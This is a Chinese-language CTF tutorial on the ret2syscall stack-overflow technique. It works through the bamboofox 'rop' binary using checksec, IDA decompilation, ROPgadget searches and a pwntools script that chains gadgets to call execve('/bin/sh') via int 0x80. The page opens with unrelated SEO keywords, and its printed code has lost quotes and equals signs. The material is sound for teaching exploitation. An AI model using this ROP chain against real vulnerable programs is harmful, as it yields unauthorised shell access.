哪里有做家教网站的,动态ip建网站,织梦图片网站源码下载,齐河专业企业网站建设ret2syscall
原理
ret2syscall#xff0c;即控制程序执行系统调用#xff0c;获取 shell。
那么ret2text——程序中有system(/bin/sh)代码段#xff0c;控制流执行 那么ret2shellcode——程序中不存在system(/bin/sh/)的代码段#xff0c;自己…ret2syscall
原理
ret2syscall即控制程序执行系统调用获取 shell。
那么ret2text——程序中有system(/bin/sh)代码段控制流执行 那么ret2shellcode——程序中不存在system(/bin/sh/)的代码段自己恶意填入代码并在可执行段执行 那么ret2syscall——程序中不存在system(/bin/sh/)的代码段不存在合适的可执行段进行恶意代码的执行但是程序是静态链接且程序中中存在代码片段拼接可组成系统调用。 例子
这里我们继续以 bamboofox 中的 ret2syscall 为例。 点击下载: ret2syscall 首先检测程序开启的保护
➜ ret2syscall checksec ropArch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)可以看出源程序为 32 位开启了 NX 保护。接下来利用 IDA 进行反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [sp1Ch] [bp-64h]1setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts(This time, no system() and NO SHELLCODE!!!);puts(What do you plan to do?);gets(v4);return 0;
}可以看出此次仍然是一个栈溢出。类似于之前的做法我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell所以我们利用程序中的 gadgets 来获得 shell而对应的 shell 获取则是利用系统调用。关于系统调用的知识请参考
https://zh.wikipedia.org/wiki/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8 简单地说只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
execve(/bin/sh,NULL,NULL)这个NULL和程序有关
const char **argv, const char **envp
argv和envp都得置成NULL
argv 参数设置为 NULL表示没有向 /bin/sh 传递任何命令行参数。
envp 参数同样设置为 NULL表示没有向 /bin/sh 传递任何环境变量使用 NULL,NULL 的原因通常有以下几点简化操作在很多情况下我们只是想简单地获取一个 shell而不需要传递任何特定的参数或环境变量。避免错误如果不确定应该传递哪些参数或环境变量或者如果传递错误的参数可能导致问题那么使用 NULL 是最安全的选择。兼容性大多数 Unix 风格的 shell 和程序都能很好地处理没有参数和环境变量的情况。攻击场景在利用安全漏洞如缓冲区溢出获取 shell 的攻击场景中攻击者通常只关心能否成功执行 execve 调用而不关心传递给 shell 的参数或环境变量。
其中该程序是 32 位所以我们需要使得
系统调用号即 eax 应该为 0xb对于32位的Linux系统execve系统调用号是0xb这是因为在Linux的系统调用表中execve对应的编号是11而11转换为十六进制就是0xb第一个参数即 ebx 应该指向 /bin/sh 的地址其实执行 sh 的地址也可以。第二个参数即 ecx 应该为 0第三个参数即 edx 应该为 0
构造系统调用时必须按照 eax、ebx、ecx 和 edx 的顺序来设置寄存器以确保系统调用能够正确执行。
而我们如何控制这些寄存器的值 呢这里就需要使用 gadgets。比如说现在栈顶是 10那么如果此时执行了 pop eax那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器所以我们需要一段一段控制这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法我们可以使用 ropgadgets 这个工具。
首先我们来寻找控制 eax 的 gadgets
➜ ret2syscall ROPgadget --binary rop --only pop|ret | grep eax
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret可以看到有上述几个都可以控制 eax我选取第二个来作为 gadgets。
类似的我们可以得到控制其它寄存器的 gadgets
➜ ret2syscall ROPgadget --binary rop --only pop|ret | grep ebx
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret这里我选择
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret这个可以直接控制其它三个寄存器。这个 gadget 可以依次将栈顶的值弹出到 edx、ecx 和 ebx 寄存器中然后通过 ret 指令返回
此外我们需要获得 /bin/sh 字符串对应的地址。
➜ ret2syscall ROPgadget --binary rop --string /bin/sh
Strings information0x080be408 : /bin/sh可以找到对应的地址此外还有 int 0x80 的地址如下
➜ ret2syscall ROPgadget --binary rop --only int
Gadgets information0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfcUnique gadgets found: 4同时也找到对应的地址了。
下面就是对应的 payload其中 0xb 为 execve 对应的系统调用号。
#!/usr/bin/env python
from pwn import *sh process(./rop)pop_eax_ret 0x080bb196
pop_edx_ecx_ebx_ret 0x0806eb90
int_0x80 0x08049421
binsh 0x80be408payload flat([A * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])pop_eax_ret的作用是将下一个指令即立即数弹出到 eax 寄存器中并返回到调用者
##这个载荷的构造顺序是
##
112 字节的填充A * 112用于覆盖到返回地址。
pop_eax_ret 用于将系统调用号 0xb 设置到 eax 寄存器。
pop_edx_ecx_ebx_ret 用于将 0ecx 和 edx、binshebx设置到相应的寄存器。
pop_edx_ecx_ebx_ret 中的 ret 指令是用来将控制流转移到下一个 gadget 的而在这个例子中下一个 gadget 就是 int_0x80 的地址。当执行到 pop_edx_ecx_ebx_ret gadget 的 ret 指令时程序会跳转到 int_0x80 的地址并执行 int 0x80 指令从而触发系统调用。
int_0x80 是一个指令当执行到这个地址时会触发一个软件中断告诉操作系统执行 eax 寄存器中指定的系统调用。在这个例子中eax 寄存器已经被设置为 0xb即 execve 系统调用的编号然后依次执行ebxecxedx因为执行是有顺序的
int_0x80是最后执行的。
##sh.sendline(payload)
sh.interactive()
实操
ida pwndbg 算到偏移108加上4就是112。